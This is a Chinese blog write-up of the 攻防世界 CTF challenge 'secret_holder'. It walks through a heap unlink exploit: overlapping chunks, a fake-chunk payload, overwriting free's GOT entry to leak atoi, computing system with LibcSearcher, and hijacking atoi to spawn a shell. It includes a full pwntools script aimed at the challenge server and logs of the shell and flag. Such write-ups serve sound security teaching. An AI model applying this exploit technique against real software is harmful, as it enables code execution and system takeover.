攻防世界-PWN-secret_holder-Unlink

20 篇文章 0 订阅

解题思路

保护机制

题目文件见文末连接,攻防世界平台上下载下来的不知道是啥东西

healer@healer-virtual-machine:~/Desktop/secret_holder$ checksec SecretHolder 
[*] '/home/healer/Desktop/secret_holder/SecretHolder'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
healer@healer-virtual-machine:~/Desktop/secret_holder$ readelf -h SecretHolder 
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x400780
  Start of program headers:          64 (bytes into file)
  Start of section headers:          8632 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         28
  Section header string table index: 27

漏洞利用分析

简单分析之后程序操作的是这样一个内存结构

在这里插入图片描述

unsigned __int64 sub_400A27()
{
  int v0; // eax
  char s; // [rsp+10h] [rbp-10h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Which Secret do you want to wipe?");
  puts("1. Small secret");
  puts("2. Big secret");
  puts("3. Huge secret");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  v0 = atoi(&s);
  switch ( v0 )
  {
    case 2:
      free(qword_6020A0);
      dword_6020B8 = 0;
      break;
    case 3:
      free(qword_6020A8);
      dword_6020BC = 0;
      break;
    case 1:
      free(buf);
      dword_6020C0 = 0;
      break;
  }
  return __readfsqword(0x28u) ^ v3;
}

看完这部分第一反应是double free方法,但是尝试之后发现会触发报错

此题最难的地方就是huge chunk不在top chunk中,想要借助它配合前两个大小的堆块构造Unlink实现不了。

参考国外大佬的思路,通过申请huge chunksmall chunk,再free掉,然后再申请huge chunk,这样便可以另huge chunk落入top chunk中,然后free已经被free掉的small chunk,然后再申请,便可以令small chunk落入huge chunk

代码如下:

keep_secret(3,b"a"*0x10)    # 创建huge chunk
wipe_secret(3)              # 释放
keep_secret(1,b"b"*0x10)    # 创建small chunk
wipe_secret(1)              # 释放
keep_secret(3,b"a"*0x10)    # 再次创建huge chunk

完成后实现预期,且看内存情况:

wndbg> x/30xg 0x6020a0
0x6020a0:	0x0000000000000000	0x0000000000603010
0x6020b0:	0x0000000000603010	0x0000000100000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x603000
Size: 0x61a91

Top chunk | PREV_INUSE
Addr: 0x664a90
Size: 0x20571

参见上文的表格,0x6020a8处为Huge Chunk的指针,此时所在位置为堆空间开始的位置,

紧接着通过如下代码实现将三个chunk堆在一起即small chunkbig chunkhuge chunk内部

wipe_secret(1)

keep_secret(1,b"d"*0x10)
keep_secret(2,b"e"*0x10)

将堆空间布置为如下状态:

pwndbg> vis

0x603000	0x0000000000000000	0x0000000000000031	........1.......
0x603010	0x6464646464646464	0x6464646464646464	dddddddddddddddd
0x603020	0x000000000000000a	0x0000000000000000	................
0x603030	0x0000000000000000	0x0000000000000fb1	................
0x603040	0x6565656565656565	0x6565656565656565	eeeeeeeeeeeeeeee
0x603050	0x000000000000000a	0x0000000000000000	................
···
0x603fe0	0x0000000000000000	0x0000000000081021	........!.......	 <-- Top chunk

此时上面的三个结构体布局如下所示

pwndbg> x/30xg 0x6020a0
0x6020a0:	0x0000000000603040	0x0000000000603010
                big chunk           hugu chunk
0x6020b0:	0x0000000000603010	0x0000000100000001
               small chunk        
0x6020c0:	0x0000000000000001	0x0000000000000000    # 三个标志位均置位为1

相当于是huge chunk包裹着small chunkbig chunk,此时便可以利用程序的renew功能,修改两个chunk空间的内容,布局触发Unlink,进而控制结构体区域

huge_chunk_ptr = 0x6020b0
payload = p64(0) + p64(0x21)
payload += p64(huge_chunk_ptr-0x18) + p64(huge_chunk_ptr-0x10)
payload += p64(0x20) + p64(0x90)
payload += b"1"* 0x88
payload += p64(0x91)   # 此处是构造多一个fake chunk,作用是Unlink时不会与top chunk合并
payload += b"1"* 0x88
payload += p64(0x81221)
renew_secret(3,payload)    # 修改堆空间数据

wipe_secret(2)   # 释放中间的那个堆块,触发Unlink

触发Unlink之后,结构体空间内,对应的Huge chunk指针被修改,指向结构体前面一点的位置

pwndbg> x/30xg 0x6020a0
0x6020a0:	0x0000000000603040	0x0000000000603010
0x6020b0:	0x0000000000602098	0x0000000100000000
0x6020c0:	0x0000000000000001	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000

此时便可通过程序的修改功能控制三个指针,指向特定内存,控制修改我们想要修改的内容

劫持3个指针,将free函数的got表地址修改很成为puts函数的plt,泄漏出atoi函数的地址,然后求得system函数的地址,再修改atoi函数的got地址表为system函数地址,当再次要求选择功能时,直接输入sh即可执行system("sh"),获取shell

payload = p64(0) + p64(atoi_got) + p64(free_got) + p64(atoi_got) + p32(1)*3   
# 第一个地址atoi_got,用于将free劫持为put.plt时泄漏atoi函数地址
# 第二个地址free_got,用于修改free函数的got表地址
# 第三个地址atoi_got,用于将atoi修改为system函数地址
# 最后的3个1用于确保三个指针指向的内存均可被修改,绕过程序自身的标识位检测
renew_secret(1,payload)

payload = p64(elf.plt["puts"])
renew_secret(3,payload)
# 借助第二个地址指针劫持free函数
wipe_secret(2)
# 借助第一个地址指针泄漏内存地址
io.recv(1)
atoi_byte = io.recv(6).ljust(8,b"\x00")

atoi_addr = u64(atoi_byte)
log.success("atoi address -> "+hex(atoi_addr))
obj = LibcSearcher("atoi",atoi_addr)
libcbase = atoi_addr - obj.dump("atoi")
system_addr = libcbase + obj.dump("system")
log.success("system address -> "+hex(system_addr))

renew_secret(1,p64(system_addr))
# 写入system函数地址,借助第三个地址指针
io.sendline("sh")

解题脚本

from pwn import *
from LibcSearcher import *

context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']
# context.terminal = ['tmux','splitw','-h']


io = remote("111.200.241.244",58629)  
# io = process("./SecretHolder")
elf = ELF("./SecretHolder")

# libc = ELF("./libc-2.31.so")
# context(arch = "i386", os = 'linux')

def keep_secret(secret_index,sercet):
	io.recvuntil("3. Renew secret")
	io.sendline("1")
	io.recvuntil("3. Huge secret")
	io.sendline(str(secret_index))
	io.recvuntil("Tell me your secret: ")
	io.send(sercet)

def wipe_secret(secret_index):
	io.recvuntil("3. Renew secret")
	io.sendline("2")
	io.recvuntil("3. Huge secret")
	io.sendline(str(secret_index))

def renew_secret(secret_index,sercet):
	io.recvuntil("3. Renew secret")
	io.sendline("3")
	io.recvuntil("3. Huge secret")
	io.sendline(str(secret_index))
	io.recvuntil("Tell me your secret: ")
	io.send(sercet)


def main(): 
	# gdb.attach(io,"b * 0x400a25\nb * 0x400b1c\nb * 0x400c66")
	keep_secret(3,b"a"*0x10)
	wipe_secret(3)
	keep_secret(1,b"b"*0x10)
	wipe_secret(1)
	keep_secret(3,b"c"*0x10)
	wipe_secret(1)

	keep_secret(1,b"d"*0x10)
	keep_secret(2,b"e"*0x10)
	# wipe_secret(1)
	# wipe_secret(2)

	# Unlink
	huge_chunk_ptr = 0x6020b0
	payload = p64(0) + p64(0x21)
	payload += p64(huge_chunk_ptr-0x18) + p64(huge_chunk_ptr-0x10)
	payload += p64(0x20) + p64(0x90)
	payload += b"1"* 0x88
	payload += p64(0x91)
	payload += b"1"* 0x88
	payload += p64(0x81221)
	renew_secret(3,payload)

	wipe_secret(2)
	log.success("Unlink Successfully")

	atoi_got = elf.got["atoi"]
	free_got = elf.got["free"]
	bss_addr = 0x6020c8
	payload = p64(0) + p64(atoi_got) + p64(free_got) + p64(atoi_got) + p32(1)*3
	renew_secret(1,payload)

	payload = p64(elf.plt["puts"])
	renew_secret(3,payload)
	wipe_secret(2)
	io.recv(1)
	atoi_byte = io.recv(6).ljust(8,b"\x00")
	# print(free_byte)
	atoi_addr = u64(atoi_byte)
	log.success("atoi address -> "+hex(atoi_addr))
	obj = LibcSearcher("atoi",atoi_addr)
	libcbase = atoi_addr - obj.dump("atoi")
	system_addr = libcbase + obj.dump("system")
	log.success("system address -> "+hex(system_addr))

	# renew_secret(1,"/bin/sh")
	renew_secret(1,p64(system_addr))

	io.sendline("sh")
	io.interactive()


if __name__ == '__main__':
	main()

执行情况

本地shell

[+] system address -> 0x7ffff7a523a0
[DEBUG] Sent 0x2 bytes:
    b'3\n'
[DEBUG] Received 0x50 bytes:
    b'Which Secret do you want to renew?\n'
    b'1. Small secret\n'
    b'2. Big secret\n'
    b'3. Huge secret\n'
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[DEBUG] Received 0x16 bytes:
    b'Tell me your secret: \n'
[DEBUG] Sent 0x8 bytes:
    00000000  a0 23 a5 f7  ff 7f 00 00                            │·#··│····│
    00000008
[DEBUG] Sent 0x3 bytes:
    b'sh\n'
[*] Switching to interactive mode

[DEBUG] Received 0x2e bytes:
    b'1. Keep secret\n'
    b'2. Wipe secret\n'
    b'3. Renew secret\n'
1. Keep secret
2. Wipe secret
3. Renew secret
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x23 bytes:
    b'core\t\t\t\t     exp.py  secret_holder\n'
core                     exp.py  secret_holder
[DEBUG] Received 0x3a bytes:
    b'dc98e2b2bd214d259dc699923214e8fc.gz  flag    SecretHolder\n'
dc98e2b2bd214d259dc699923214e8fc.gz  flag    SecretHolder
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x19 bytes:
    b'flag{Cragratulations!!!}\n'
flag{Cragratulations!!!}

远程shell

[*] Switching to interactive mode
[DEBUG] Received 0x1 bytes:
    b'\n'

[DEBUG] Received 0x2e bytes:
    b'1. Keep secret\n'
    b'2. Wipe secret\n'
    b'3. Renew secret\n'
1. Keep secret
2. Wipe secret
3. Renew secret
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x2b bytes:
    b'bin\n'
    b'dev\n'
    b'flag\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
    b'secret_holder\n'
bin
dev
flag
lib
lib32
lib64
secret_holder
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2d bytes:
    b'cyberpeace{e506b8*************d83b5f186fb}\n'
cyberpeace{e506b8*************d83b5f186fb}

详细内容参见我的Gitee项目,包含题目文件

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值